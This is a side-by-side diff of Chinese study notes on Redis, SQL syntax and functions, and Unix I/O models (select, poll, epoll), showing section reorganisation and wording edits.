- 客户端分片:客户端使用一致性哈希等算法决定键应当分布到哪个节点。 - 客户端分片:客户端使用一致性哈希等算法决定键应当分布到哪个节点。
- 代理分片:将客户端请求发送到代理上,由代理转发请求到正确的节点上。 - 代理分片:将客户端请求发送到代理上,由代理转发请求到正确的节点上。
@ -464,13 +572,13 @@ Sentinel哨兵可以监听主服务器并在主服务器进入下线状
- 可以发布文章; - 可以发布文章;
- 可以对文章进行点赞; - 可以对文章进行点赞;
- 在首页可以按文章的发布时间或者文章的点赞数进行排序显示 - 在首页可以按文章的发布时间或者文章的点赞数进行排序显示
## 文章信息 ## 文章信息
文章包括标题、作者、赞数等信息,在关系型数据库中很容易构建一张表来存储这些信息,在 Redis 中可以使用 HASH 来存储每种信息以及其对应的值的映射。 文章包括标题、作者、赞数等信息,在关系型数据库中很容易构建一张表来存储这些信息,在 Redis 中可以使用 HASH 来存储每种信息以及其对应的值的映射。
Redis 没有关系型数据库中的表这一概念来将同类型的数据存放在一起,而是使用命名空间的方式来实现这一功能。键名的前面部分存储命名空间,后面部分的内容存储 ID通常使用 : 来进行分隔。例如下面的 HASH 的键名为 article:92617其中 article 为命名空间ID 为 92617。 Redis 没有关系型数据库中的表这一概念来将同类型的数据存放在一起,而是使用命名空间的方式来实现这一功能。键名的前面部分存储命名空间,后面部分的内容存储 ID通常使用 : 来进行分隔。例如下面的 HASH 的键名为 article:92617其中 article 为命名空间ID 为 92617。
<div align="center"> <img src="../pics//7c54de21-e2ff-402e-bc42-4037de1c1592.png" width="400"/> </div><br> <div align="center"> <img src="../pics//7c54de21-e2ff-402e-bc42-4037de1c1592.png" width="400"/> </div><br>
@ -493,7 +601,8 @@ Redis 没有关系型数据库中的表这一概念来将同类型的数据存
- Carlson J L. Redis in Action[J]. Media.johnwiley.com.au, 2013. - Carlson J L. Redis in Action[J]. Media.johnwiley.com.au, 2013.
- [黄健宏. Redis 设计与实现 [M]. 机械工业出版社, 2014.](http://redisbook.com/index.html) - [黄健宏. Redis 设计与实现 [M]. 机械工业出版社, 2014.](http://redisbook.com/index.html)
- [REDIS IN ACTION](https://redislabs.com/ebook/foreword/) - [REDIS IN ACTION](https://redislabs.com/ebook/foreword/)
- [Skip Lists: Done Right](http://ticki.github.io/blog/skip-lists-done-right/)
- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html) - [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide) - [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
- [Redis 应用场景](http://www.scienjus.com/redis-use-case/) - [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/) - [Using Redis as an LRU cache](https://redis.io/topics/lru-cache)

View File

@ -19,7 +19,7 @@
* [十八、存储过程](#十八存储过程) * [十八、存储过程](#十八存储过程)
* [十九、游标](#十九游标) * [十九、游标](#十九游标)
* [二十、触发器](#二十触发器) * [二十、触发器](#二十触发器)
* [二十一、事务](#二十一事务) * [二十一、事务](#二十一事务)
* [二十二、字符集](#二十二字符集) * [二十二、字符集](#二十二字符集)
* [二十三、权限管理](#二十三权限管理) * [二十三、权限管理](#二十三权限管理)
* [参考资料](#参考资料) * [参考资料](#参考资料)
@ -170,7 +170,6 @@ FROM mytable
LIMIT 2, 3; LIMIT 2, 3;
``` ```
# 八、排序 # 八、排序
- **ASC** :升序(默认) - **ASC** :升序(默认)
@ -197,13 +196,15 @@ WHERE col IS NULL;
下表显示了 WHERE 子句可用的操作符 下表显示了 WHERE 子句可用的操作符
| 操作符 | 说明 | | 操作符 | 说明 |
| ------------ | ------------ | | :---: | :---: |
| `=` `<` `>` | 等于 小于 大于 | | = | 等于 |
| `<>` `!=` | 不等于 | | &lt; | 小于 |
| `<=` `!>` | 小于等于 | | &gt; | 于 |
| `>=` `!<` | 大于等于 | | &lt;&gt; != | 等于 |
| `BETWEEN` | 在两个值之间 | | &lt;= !&gt; | 小于等于 |
| `IS NULL` | 为 NULL 值 | | &gt;= !&lt; | 大于等于 |
| BETWEEN | 在两个值之间 |
| IS NULL | 为 NULL 值 |
应该注意到NULL 与 0、空字符串都不同。 应该注意到NULL 与 0、空字符串都不同。
@ -253,17 +254,39 @@ FROM mytable;
# 十二、函数 # 十二、函数
各个 DBMS 的函数都是不相同的,因此不可移植。 各个 DBMS 的函数都是不相同的,因此不可移植,以下主要是 MySQL 的函数
## 汇总
|函 数 |说 明|
| :---: | :---: |
| AVG() | 返回某列的平均值 |
| COUNT() | 返回某列的行数 |
| MAX() | 返回某列的最大值 |
| MIN() | 返回某列的最小值 |
| SUM() |返回某列值之和 |
AVG() 会忽略 NULL 行。
使用 DISTINCT 可以让汇总函数值汇总不同的值。
```sql
SELECT AVG(DISTINCT col1) AS avg_col
FROM mytable;
```
## 文本处理 ## 文本处理
| 函数 | 说明 | | 函数 | 说明 |
| :---: | :---: | | :---: | :---: |
| `LEFT()` `RIGHT()` | 左边或者右边的字符 | | LEFT() | 左边的字符 |
| `LOWER()` `UPPER()` | 转换为小写或者大写 | | RIGHT() | 右边的字符 |
| `LTRIM()` `RTIM()` | 去除左边或者右边的空格 | | LOWER() | 转换为小写字符 |
| `LENGTH()` | 长度 | | UPPER() | 转换为大写字符 |
| `SOUNDEX()` | 转换为语音值 | | LTRIM() | 去除左边的空格 |
| RTRIM() | 去除右边的空格 |
| LENGTH() | 长度 |
| SOUNDEX() | 转换为语音值 |
其中, **SOUNDEX()** 可以将一个字符串转换为描述其语音表示的字母数字模式。 其中, **SOUNDEX()** 可以将一个字符串转换为描述其语音表示的字母数字模式。
@ -280,23 +303,23 @@ WHERE SOUNDEX(col1) = SOUNDEX('apple')
|函 数 | 说 明| |函 数 | 说 明|
| :---: | :---: | | :---: | :---: |
| `AddDate()` | 增加一个日期(天、周等)| | AddDate() | 增加一个日期(天、周等)|
| `AddTime()` | 增加一个时间(时、分等)| | AddTime() | 增加一个时间(时、分等)|
| `CurDate()` | 返回当前日期 | | CurDate() | 返回当前日期 |
| `CurTime()` | 返回当前时间 | | CurTime() | 返回当前时间 |
| `Date()` |返回日期时间的日期部分| | Date() |返回日期时间的日期部分|
| `DateDiff()` |计算两个日期之差| | DateDiff() |计算两个日期之差|
| `Date_Add()` |高度灵活的日期运算函数| | Date_Add() |高度灵活的日期运算函数|
| `Date_Format()` |返回一个格式化的日期或时间串| | Date_Format() |返回一个格式化的日期或时间串|
| `Day()`| 返回一个日期的天数部分| | Day()| 返回一个日期的天数部分|
| `DayOfWeek()` |对于一个日期,返回对应的星期几| | DayOfWeek() |对于一个日期,返回对应的星期几|
| `Hour()` |返回一个时间的小时部分| | Hour() |返回一个时间的小时部分|
| `Minute()` |返回一个时间的分钟部分| | Minute() |返回一个时间的分钟部分|
| `Month()` |返回一个日期的月份部分| | Month() |返回一个日期的月份部分|
| `Now()` |返回当前日期和时间| | Now() |返回当前日期和时间|
| `Second()` |返回一个时间的秒部分| | Second() |返回一个时间的秒部分|
| `Time()` |返回一个日期时间的时间部分| | Time() |返回一个日期时间的时间部分|
| `Year()` |返回一个日期的年份部分| | Year() |返回一个日期的年份部分|
```sql ```sql
mysql> SELECT NOW(); mysql> SELECT NOW();
@ -310,34 +333,15 @@ mysql> SELECT NOW();
| 函数 | 说明 | | 函数 | 说明 |
| :---: | :---: | | :---: | :---: |
| `SIN()` | 正弦 | | SIN() | 正弦 |
| `COS()` | 余弦 | | COS() | 余弦 |
| `TAN()` | 正切 | | TAN() | 正切 |
| `ABS()` | 绝对值 | | ABS() | 绝对值 |
| `SQRT()` | 平方根 | | SQRT() | 平方根 |
| `MOD()` | 余数 | | MOD() | 余数 |
| `EXP()` | 指数 | | EXP() | 指数 |
| `PI()` | 圆周率 | | PI() | 圆周率 |
| `RAND()` | 随机数 | | RAND() | 随机数 |
## 汇总
|函 数 |说 明|
| :---: | :---: |
| `AVG()` | 返回某列的平均值 |
| `COUNT()` | 返回某列的行数 |
| `MAX()` | 返回某列的最大值 |
| `MIN()` | 返回某列的最小值 |
| `SUM()` |返回某列值之和 |
AVG() 会忽略 NULL 行。
使用 DISTINCT 可以让汇总函数值汇总不同的值。
```sql
SELECT AVG(DISTINCT col1) AS avg_col
FROM mytable
```
# 十三、分组 # 十三、分组
@ -416,16 +420,16 @@ ORDER BY cust_name;
内连接又称等值连接,使用 INNER JOIN 关键字。 内连接又称等值连接,使用 INNER JOIN 关键字。
```sql ```sql
SELECT a, b, c SELECT A.value, B.value
FROM A INNER JOIN B FROM tablea AS A INNER JOIN tableb AS B
ON A.key = B.key; ON A.key = B.key;
``` ```
可以不明确使用 INNER JOIN而使用普通查询并在 WHERE 中将两个表中要连接的列用等值方法连接起来。 可以不明确使用 INNER JOIN而使用普通查询并在 WHERE 中将两个表中要连接的列用等值方法连接起来。
```sql ```sql
SELECT a, b, c SELECT A.value, B.value
FROM A, B FROM tablea AS A, tableb AS B
WHERE A.key = B.key; WHERE A.key = B.key;
``` ```
@ -452,13 +456,11 @@ WHERE department = (
```sql ```sql
SELECT e1.name SELECT e1.name
FROM employee AS e1, employee AS e2 FROM employee AS e1 INNER JOIN employee AS e2
WHERE e1.department = e2.department ON e1.department = e2.department
AND e2.name = "Jim"; AND e2.name = "Jim";
``` ```
连接一般比子查询的效率高。
## 自然连接 ## 自然连接
自然连接是把同名列通过等值测试连接起来的,同名列可以有多个。 自然连接是把同名列通过等值测试连接起来的,同名列可以有多个。
@ -466,8 +468,8 @@ WHERE e1.department = e2.department
内连接和自然连接的区别:内连接提供连接的列,而自然连接自动连接所有同名列。 内连接和自然连接的区别:内连接提供连接的列,而自然连接自动连接所有同名列。
```sql ```sql
SELECT * SELECT A.value, B.value
FROM employee NATURAL JOIN department; FROM tablea AS A NATURAL JOIN tableb AS B;
``` ```
## 外连接 ## 外连接
@ -482,15 +484,32 @@ FROM Customers LEFT OUTER JOIN Orders
ON Customers.cust_id = Orders.cust_id; ON Customers.cust_id = Orders.cust_id;
``` ```
如果需要统计顾客的订单数,使用聚集函数。 customers 表:
```sql | cust_id | cust_name |
SELECT Customers.cust_id, | :---: | :---: |
COUNT(Orders.order_num) AS num_ord | 1 | a |
FROM Customers LEFT OUTER JOIN Orders | 2 | b |
ON Customers.cust_id = Orders.cust_id | 3 | c |
GROUP BY Customers.cust_id;
``` orders 表:
| order_id | cust_id |
| :---: | :---: |
|1 | 1 |
|2 | 1 |
|3 | 3 |
|4 | 3 |
结果:
| cust_id | cust_name | order_id |
| :---: | :---: | :---: |
| 1 | a | 1 |
| 1 | a | 2 |
| 3 | c | 3 |
| 3 | c | 4 |
| 2 | b | Null |
# 十六、组合查询 # 十六、组合查询
@ -534,7 +553,7 @@ WHERE col5 = val;
# 十八、存储过程 # 十八、存储过程
存储过程可以看成是对一系列 SQL 操作的批处理 存储过程可以看成是对一系列 SQL 操作的批处理
使用存储过程的好处: 使用存储过程的好处:
@ -610,7 +629,7 @@ create procedure myprocedure(out ret int)
触发器会在某个表执行以下语句时而自动执行DELETE、INSERT、UPDATE。 触发器会在某个表执行以下语句时而自动执行DELETE、INSERT、UPDATE。
触发器必须指定在语句执行之前还是之后自动执行,之前执行使用 BEFORE 关键字,之后执行使用 AFTER 关键字。BEFORE 用于数据验证和净化。 触发器必须指定在语句执行之前还是之后自动执行,之前执行使用 BEFORE 关键字,之后执行使用 AFTER 关键字。BEFORE 用于数据验证和净化AFTER 用于审计跟踪,将修改记录到另外一张表中
INSERT 触发器包含一个名为 NEW 的虚拟表。 INSERT 触发器包含一个名为 NEW 的虚拟表。
@ -623,13 +642,11 @@ SELECT @result; -- 获取结果
DELETE 触发器包含一个名为 OLD 的虚拟表,并且是只读的。 DELETE 触发器包含一个名为 OLD 的虚拟表,并且是只读的。
UPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表,其中 NEW 是可以被修改,而 OLD 是只读的。 UPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表,其中 NEW 是可以被修改,而 OLD 是只读的。
可以使用触发器来进行审计跟踪,把修改记录到另外一张表中。
MySQL 不允许在触发器中使用 CALL 语句,也就是不能调用存储过程。 MySQL 不允许在触发器中使用 CALL 语句,也就是不能调用存储过程。
# 二十一、事务 # 二十一、事务
基本术语: 基本术语:
@ -642,7 +659,7 @@ MySQL 不允许在触发器中使用 CALL 语句,也就是不能调用存储
MySQL 的事务提交默认是隐式提交,每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时,会关闭隐式提交;当 COMMIT 或 ROLLBACK 语句执行后,事务会自动关闭,重新恢复隐式提交。 MySQL 的事务提交默认是隐式提交,每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时,会关闭隐式提交;当 COMMIT 或 ROLLBACK 语句执行后,事务会自动关闭,重新恢复隐式提交。
通过设置 autocommit 为 0 可以取消自动提交,直到 autocommit 被设置为 1 才会提交autocommit 标记是针对每个连接而不是针对服务器的。 通过设置 autocommit 为 0 可以取消自动提交autocommit 标记是针对每个连接而不是针对服务器的。
如果没有设置保留点ROLLBACK 会回退到 START TRANSACTION 语句处;如果设置了保留点,并且在 ROLLBACK 中指定该保留点,则会回退到该保留点。 如果没有设置保留点ROLLBACK 会回退到 START TRANSACTION 语句处;如果设置了保留点,并且在 ROLLBACK 中指定该保留点,则会回退到该保留点。
@ -691,12 +708,12 @@ SELECT user FROM user;
**创建账户** **创建账户**
新创建的账户没有任何权限。
```sql ```sql
CREATE USER myuser IDENTIFIED BY 'mypassword'; CREATE USER myuser IDENTIFIED BY 'mypassword';
``` ```
新创建的账户没有任何权限。
**修改账户名** **修改账户名**
```sql ```sql
@ -717,18 +734,14 @@ SHOW GRANTS FOR myuser;
**授予权限** **授予权限**
账户用 username@host 的形式定义username@% 使用的是默认主机名。
```sql ```sql
GRANT SELECT, INSERT ON mydatabase.* TO myuser; GRANT SELECT, INSERT ON mydatabase.* TO myuser;
``` ```
账户用 username@host 的形式定义username@% 使用的是默认主机名。
**删除权限** **删除权限**
```sql
REVOKE SELECT, INSERT ON mydatabase.* FROM myuser;
```
GRANT 和 REVOKE 可在几个层次上控制访问权限: GRANT 和 REVOKE 可在几个层次上控制访问权限:
- 整个服务器,使用 GRANT ALL 和 REVOKE ALL - 整个服务器,使用 GRANT ALL 和 REVOKE ALL
@ -737,6 +750,10 @@ GRANT 和 REVOKE 可在几个层次上控制访问权限:
- 特定的列; - 特定的列;
- 特定的存储过程。 - 特定的存储过程。
```sql
REVOKE SELECT, INSERT ON mydatabase.* FROM myuser;
```
**更改密码** **更改密码**
必须使用 Password() 函数 必须使用 Password() 函数

View File

@ -1,26 +1,32 @@
<!-- GFM-TOC --> <!-- GFM-TOC -->
* [一、I/O 复用](#一io-复用) * [一、I/O 模型](#一io-模型)
* [I/O 模型](#io-模型) * [阻塞式 I/O](#阻塞式-io)
* [select/poll/epoll](#selectpollepoll) * [非阻塞式 I/O](#非阻塞式-io)
* [select 和 poll 比较](#select-和-poll-比较) * [I/O 复用](#io-复用)
* [eopll 工作模式](#eopll-工作模式) * [信号驱动 I/O](#信号驱动-io)
* [select poll epoll 应用场景](#select-poll-epoll-应用场景) * [异步 I/O](#异步-io)
* [五大 I/O 模型比较](#五大-io-模型比较)
* [二、I/O 复用](#二io-复用)
* [select](#select)
* [poll](#poll)
* [比较](#比较)
* [epoll](#epoll)
* [工作模式](#工作模式)
* [应用场景](#应用场景)
* [参考资料](#参考资料) * [参考资料](#参考资料)
<!-- GFM-TOC --> <!-- GFM-TOC -->
# 一、I/O 复用 # 一、I/O 模型
## I/O 模型
一个输入操作通常包括两个阶段: 一个输入操作通常包括两个阶段:
- 等待数据准备好 - 等待数据准备好
- 从内核向进程复制数据 - 从内核向进程复制数据
对于一个套接字上的输入操作,第一步通常涉及等待数据从网络中到达。当所等待分组到达时,它被复制到内核中的某个缓冲区。第二步就是把数据从内核缓冲区复制到应用进程缓冲区。 对于一个套接字上的输入操作,第一步通常涉及等待数据从网络中到达。当所等待数据到达时,它被复制到内核中的某个缓冲区。第二步就是把数据从内核缓冲区复制到应用进程缓冲区。
Unix 有五种 I/O 模型: Unix 有五种 I/O 模型:
- 阻塞式 I/O - 阻塞式 I/O
- 非阻塞式 I/O - 非阻塞式 I/O
@ -28,11 +34,11 @@ Unix 下有五种 I/O 模型:
- 信号驱动式 I/OSIGIO - 信号驱动式 I/OSIGIO
- 异步 I/OAIO - 异步 I/OAIO
### 1. 阻塞式 I/O ## 阻塞式 I/O
应用进程被阻塞,直到数据复制到应用进程缓冲区中才返回。 应用进程被阻塞,直到数据复制到应用进程缓冲区中才返回。
应该注意到,在阻塞的过程中,其它程序还可以执行,因此阻塞不意味着整个操作系统都被阻塞。因为其他程序还可以执行,因此不消耗 CPU 时间,这种模型的执行效率会比较高。 应该注意到,在阻塞的过程中,其它程序还可以执行,因此阻塞不意味着整个操作系统都被阻塞。因为其他程序还可以执行,因此不消耗 CPU 时间,这种模型的 CPU 利用率效率会比较高。
下图中recvfrom 用于接收 Socket 传来的数据,并复制到应用进程的缓冲区 buf 中。这里把 recvfrom() 当成系统调用。 下图中recvfrom 用于接收 Socket 传来的数据,并复制到应用进程的缓冲区 buf 中。这里把 recvfrom() 当成系统调用。
@ -42,17 +48,17 @@ ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *
<div align="center"> <img src="../pics//1492928416812_4.png"/> </div><br> <div align="center"> <img src="../pics//1492928416812_4.png"/> </div><br>
### 2. 非阻塞式 I/O ## 非阻塞式 I/O
应用进程执行系统调用之后,内核返回一个错误码。应用进程可以继续执行,但是需要不断的执行系统调用来获知 I/O 是否完成,这种方式为轮询polling 应用进程执行系统调用之后,内核返回一个错误码。应用进程可以继续执行,但是需要不断的执行系统调用来获知 I/O 是否完成,这种方式为轮询polling
由于 CPU 要处理更多的系统调用,因此这种模型是比较低的。 由于 CPU 要处理更多的系统调用,因此这种模型的 CPU 利用率是比较低的。
<div align="center"> <img src="../pics//1492929000361_5.png"/> </div><br> <div align="center"> <img src="../pics//1492929000361_5.png"/> </div><br>
### 3. I/O 复用 ## I/O 复用
使用 select 或者 poll 等待数据,并且可以等待多个套接字中的任何一个变为可读这一过程会被阻塞,当某一个套接字可读时返回之后再使用 recvfrom 把数据从内核复制到进程中。 使用 select 或者 poll 等待数据,并且可以等待多个套接字中的任何一个变为可读这一过程会被阻塞,当某一个套接字可读时返回之后再使用 recvfrom 把数据从内核复制到进程中。
它可以让单个进程具有处理多个 I/O 事件的能力。又被称为 Event Driven I/O即事件驱动 I/O。 它可以让单个进程具有处理多个 I/O 事件的能力。又被称为 Event Driven I/O即事件驱动 I/O。
@ -60,7 +66,7 @@ ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *
<div align="center"> <img src="../pics//1492929444818_6.png"/> </div><br> <div align="center"> <img src="../pics//1492929444818_6.png"/> </div><br>
### 4. 信号驱动 I/O ## 信号驱动 I/O
应用进程使用 sigaction 系统调用,内核立即返回,应用进程可以继续执行,也就是说等待数据阶段应用进程是非阻塞的。内核在数据到达时向应用进程发送 SIGIO 信号,应用进程收到之后在信号处理程序中调用 recvfrom 将数据从内核复制到应用进程中。 应用进程使用 sigaction 系统调用,内核立即返回,应用进程可以继续执行,也就是说等待数据阶段应用进程是非阻塞的。内核在数据到达时向应用进程发送 SIGIO 信号,应用进程收到之后在信号处理程序中调用 recvfrom 将数据从内核复制到应用进程中。
@ -68,48 +74,40 @@ ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *
<div align="center"> <img src="../pics//1492929553651_7.png"/> </div><br> <div align="center"> <img src="../pics//1492929553651_7.png"/> </div><br>
### 5. 异步 I/O ## 异步 I/O
行 aio_read 系统调用会立即返回,应用进程继续执行,不会被阻塞,内核会在所有操作完成之后向应用进程发送信号。 应用进程执行 aio_read 系统调用会立即返回,应用进程可以继续执行,不会被阻塞,内核会在所有操作完成之后向应用进程发送信号。
异步 I/O 与信号驱动 I/O 的区别在于,异步 I/O 的信号是通知应用进程 I/O 完成,而信号驱动 I/O 的信号是通知应用进程可以开始 I/O。 异步 I/O 与信号驱动 I/O 的区别在于,异步 I/O 的信号是通知应用进程 I/O 完成,而信号驱动 I/O 的信号是通知应用进程可以开始 I/O。
<div align="center"> <img src="../pics//1492930243286_8.png"/> </div><br> <div align="center"> <img src="../pics//1492930243286_8.png"/> </div><br>
### 6. 同步 I/O 与异步 I/O ## 五大 I/O 模型比较
- 同步 I/O应用进程在调用 recvfrom 操作时会阻塞。 - 同步 I/O将数据从内核缓冲区复制到应用进程缓冲区的阶段,应用进程会阻塞。
- 异步 I/O不会阻塞。 - 异步 I/O不会阻塞。
阻塞式 I/O、非阻塞式 I/O、I/O 复用和信号驱动 I/O 都是同步 I/O虽然非阻塞式 I/O 和信号驱动 I/O 在等待数据阶段不会阻塞,但是在之后的将数据从内核复制到应用进程这个操作会阻塞 阻塞式 I/O、非阻塞式 I/O、I/O 复用和信号驱动 I/O 都是同步 I/O它们的主要区别在第一个阶段
### 7. 五大 I/O 模型比较 非阻塞式 I/O 、信号驱动 I/O 和异步 I/O 在第一阶段不会阻塞。
前四种 I/O 模型的主要区别在于第一个阶段,而第二个阶段是一样的:将数据从内核复制到应用进程过程中,应用进程会被阻塞。
<div align="center"> <img src="../pics//1492928105791_3.png"/> </div><br> <div align="center"> <img src="../pics//1492928105791_3.png"/> </div><br>
## select/poll/epoll # 二、I/O 复用
这三个都是 I/O 多路复用的具体实现select 出现的最早,之后是 poll再是 epoll。 select/poll/epoll 都是 I/O 多路复用的具体实现select 出现的最早,之后是 poll再是 epoll。
### 1. select ## select
```c ```c
int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout); int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);
``` ```
fd_set 表示描述符集合类型,有三个参数readset、writesetexceptset分别对应读、写、异常条件的描述符集合。 有三种类型的描述符类型readset、writesetexceptset分别对应读、写、异常条件的描述符集合。fd_set 使用数组实现,数组大小使用 FD_SETSIZE 定义。
timeout 参数告知内核等待所指定描述符中的任何一个就绪可花多少时间; timeout 为超时参数,调用 select 会一直阻塞直到有描述符的事件到达或者等待的时间超过 timeout。
成功调用返回结果大于 0出错返回结果为 -1超时返回结果为 0。 成功调用返回结果大于 0出错返回结果为 -1超时返回结果为 0。
每次调用 select 都需要将 fd_set \*readfds, fd_set \*writefds, fd_set \*exceptfds 链表内容全部从应用进程缓冲复制到内核缓冲。
返回结果中内核并没有声明 fd_set 中哪些描述符已经准备好,所以如果返回值大于 0 时,应用进程需要遍历所有的 fd_set。
select 最多支持 1024 个描述符,其中 1024 由内核的 FD_SETSIZE 决定。如果需要打破该限制可以修改 FD_SETSIZE然后重新编译内核。
```c ```c
fd_set fd_in, fd_out; fd_set fd_in, fd_out;
@ -150,27 +148,13 @@ else
} }
``` ```
### 2. poll ## poll
```c ```c
int poll(struct pollfd *fds, unsigned int nfds, int timeout); int poll(struct pollfd *fds, unsigned int nfds, int timeout);
``` ```
```c pollfd 使用链表实现。
struct pollfd {
int fd; //文件描述符
short events; //监视的请求事件
short revents; //已发生的事件
};
```
它和 select 功能基本相同。同样需要每次将描述符从应用进程复制到内核poll 调用返回后同样需要进行轮询才能知道哪些描述符已经准备好。
poll 取消了 1024 个描述符数量上限,但是数量太大以后不能保证执行效率,因为复制大量内存到内核十分低效,所需时间与描述符数量成正比。
poll 在描述符的重复利用上比 select 的 fd_set 会更好。
如果在多线程下,如果一个线程对某个描述符调用了 poll 系统调用,但是另一个线程关闭了该描述符,会导致 poll 调用结果不确定,该问题同样出现在 select 中。
```c ```c
// The structure for two events // The structure for two events
@ -204,7 +188,29 @@ else
} }
``` ```
### 3. epoll ## 比较
### 1. 功能
select 和 poll 的功能基本相同,不过在一些实现细节上有所不同。
- select 会修改描述符,而 poll 不会;
- select 的描述符类型使用数组实现FD_SETSIZE 大小默认为 1024因此默认只能监听 1024 个描述符。如果要监听更多描述符的话,需要修改 FD_SETSIZE 之后重新编译;而 poll 的描述符类型使用链表实现,没有描述符数量的限制;
- poll 提供了更多的事件类型,并且对描述符的重复利用上比 select 高。
- 如果一个线程对某个描述符调用了 select 或者 poll另一个线程关闭了该描述符会导致调用结果不确定。
### 2. 速度
select 和 poll 速度都比较慢。
- select 和 poll 每次调用都需要将全部描述符从应用进程缓冲区复制到内核缓冲区。
- select 和 poll 的返回结果中没有声明哪些描述符已经准备好,所以如果返回值大于 0 时,应用进程都需要使用轮询的方式来找到 I/O 完成的描述符。
### 3. 可移植性
几乎所有的系统都支持 select但是只有比较新的系统支持 poll。
## epoll
```c ```c
int epoll_create(int size); int epoll_create(int size);
@ -212,21 +218,15 @@ int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event)
int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout); int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);
``` ```
epoll 仅仅适用于 Linux OS epoll_ctl() 用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上,通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理,进程调用 epoll_wait() 便可以得到事件完成的描述符
它是 select 和 poll 的增强版,更加灵活而且没有描述符数量限制 从上面的描述可以看出epoll 只需要将描述符从进程缓冲区向内核缓冲区拷贝一次,并且进程不需要通过轮询来获得事件完成的描述符
它将用户关心的描述符放到内核的一个事件表中,从而只需要在用户空间和内核空间拷贝一次 epoll 仅适用于 Linux OS
select 和 poll 方式中,进程只有在调用一定的方法后,内核才对所有监视的描述符进行扫描。而 epoll 事先通过 epoll_ctl() 来注册描述符,一旦基于某个描述符就绪时,内核会采用类似 callback 的回调机制,迅速激活这个描述符,当进程调用 epoll_wait() 时便得到通知 epoll 比 select 和 poll 更加灵活而且没有描述符数量限制
新版本的 epoll_create(int size) 参数 size 不起任何作用,在旧版本的 epoll 中如果描述符的数量大于 size不保证服务质量 epoll 对多线程编程更有友好,一个线程调用了 epoll_wait() 另一个线程关闭了同一个描述符也不会产生像 select 和 poll 的不确定情况
epoll_ctl() 执行一次系统调用,用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上,通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理。
epoll_wait() 取出在内核中通过链表维护的 I/O 准备好的描述符,将他们从内核复制到应用进程中,不需要像 select/poll 对注册的所有描述符遍历一遍。
epoll 对多线程编程更有友好,同时多个线程对同一个描述符调用了 epoll_wait() 也不会产生像 select/poll 的不确定情况。或者一个线程调用了 epoll_wait 另一个线程关闭了同一个描述符也不会产生不确定情况。
```c ```c
// Create the epoll descriptor. Only one is needed per app, and is used to monitor all sockets. // Create the epoll descriptor. Only one is needed per app, and is used to monitor all sockets.
@ -275,64 +275,42 @@ else
} }
``` ```
## select 和 poll 比较
### 1. 功能 ## 工作模式
它们提供了几乎相同的功能,但是在一些细节上有所不同: epoll 的描述符事件有两种触发模式LTlevel trigger和 ETedge trigger
- select 会修改 fd_set 参数,而 poll 不会;
- select 默认只能监听 1024 个描述符,如果要监听更多的话,需要修改 FD_SETSIZE 之后重新编译;
- poll 提供了更多的事件类型。
### 2. 速度
poll 和 select 在速度上都很慢。
- 它们都采取轮询的方式来找到 I/O 完成的描述符,如果描述符很多,那么速度就会很慢;
- select 只使用每个描述符的 3 位,而 poll 通常需要使用 64 位,因此 poll 需要复制更多的内核空间。
### 3. 可移植性
几乎所有的系统都支持 select但是只有比较新的系统支持 poll。
## eopll 工作模式
epoll_event 有两种触发模式LTlevel trigger和 ETedge trigger
### 1. LT 模式 ### 1. LT 模式
当 epoll_wait() 检测到描述符事件发生并将此事件通知应用程序,应用程序可以不立即处理该事件下次调用 epoll_wait() 时,会再次响应应用程序并通知此事件。是默认的一种模式,并且同时支持 Blocking 和 No-Blocking。 当 epoll_wait() 检测到描述符事件到达时,将此事件通知进程,进程可以不立即处理该事件下次调用 epoll_wait() 会再次通知进程。是默认的一种模式,并且同时支持 Blocking 和 No-Blocking。
### 2. ET 模式 ### 2. ET 模式
当 epoll_wait() 检测到描述符事件发生并将此事件通知应用程序,应用程序必须立即处理事件。如果不处理,下次调用 epoll_wait() 时不会再次响应应用程序并通知此事件。很大程度上减少了 epoll 事件被重复触发的次数,因此效率要比 LT 模式高。只支持 No-Blocking以避免由于一个文件句柄的阻塞读/阻塞写操作把处理多个文件描述符的任务饿死 和 LT 模式不同的是,通知之后进程必须立即处理事件,下次调用 epoll_wait() 时不会再得到事件到达的通知
## select poll epoll 应用场景 很大程度上减少了 epoll 事件被重复触发的次数,因此效率要比 LT 模式高。只支持 No-Blocking以避免由于一个文件句柄的阻塞读/阻塞写操作把处理多个文件描述符的任务饿死。
很容易产生一种错觉认为只要用 epoll 就可以了select poll 都是历史遗留问题,并没有什么应用场景,其实并不是这样的。 ## 应用场景
很容易产生一种错觉认为只要用 epoll 就可以了select 和 poll 都已经过时了,其实它们都有各自的使用场景。
### 1. select 应用场景 ### 1. select 应用场景
select() poll() epoll_wait() 都有一个 timeout 参数,在 select() 中 timeout 的精确度为 1ns而 poll() 和 epoll_wait() 中则为 1ms。所以 select 更加适用于实时要求高的场景,比如核反应堆的控制。 select 的 timeout 参数精度为 1ns而 poll 和 epoll 为 1ms,因此 select 更加适用于实时要求比较高的场景,比如核反应堆的控制。
select 历史更加悠久,它的可移植性更好,几乎被所有主流平台所支持。 select 可移植性更好,几乎被所有主流平台所支持。
### 2. poll 应用场景 ### 2. poll 应用场景
